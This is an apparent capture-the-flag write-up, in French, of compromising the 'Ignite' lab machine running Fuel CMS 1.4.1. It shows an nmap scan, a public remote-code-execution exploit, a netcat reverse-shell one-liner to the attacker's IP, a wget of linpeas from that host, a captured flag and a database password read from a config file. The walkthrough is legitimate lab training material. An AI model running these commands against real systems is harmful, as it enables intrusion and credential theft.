Ignite

IP Target

10.10.23.143

IP Attacker

10.21.171.239

Nmap

nmap -A -p- -T4 10.10.23.143

Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-10-14 00:28 CEST
Nmap scan report for 10.10.23.143
Host is up (0.036s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/fuel/

• http://10.10.23.143/ on découvre un CMS Fuel

• recherche d’exploit lié à Fuel 1.4

searchsploit fuel
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                           |  Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
                                                   | hardware/webapps/31180.txt
fuel CMS 1.4.1 - Remote Code Execution (1)                                                                               | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)                                                                               | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)                                                                               | php/webapps/50477.py

• on passe une commande de type reverse shell via l’exploit 50477.py

python3 50477.py -u <http://10.10.23.143/>
[+]Connecting...
Enter Command $

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.21.171.239 4444 >/tmp/f

• obtention du reverse shell

nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.21.171.239] from (UNKNOWN) [10.10.23.143] 43312
bash: cannot set terminal process group (1043): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$

www-data@ubuntu:/home/www-data$ cat flag.txt
cat flag.txt
6470e394cbf6dab6a91682cc8585059b 

• upload de linpeas pour enumération

www-data@ubuntu:/home/www-data$ wget <http://10.21.171.239/linpeas.sh>
wget <http://10.21.171.239/linpeas.sh>
--2025-10-13 14:57:11--  <http://10.21.171.239/linpeas.sh>
Connecting to 10.21.171.239:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860549 (840K) [text/x-sh]
Saving to: 'linpeas.sh'

• Linpeas trouve ce mot de passe dans la config php de fuel

www-data@ubuntu:/home/www-data$ ./linpeas.sh
-------------
╔══════════╣ Searching passwords in config PHP files
/var/www/html/fuel/application/config/database.php:	'password' => 'mememe',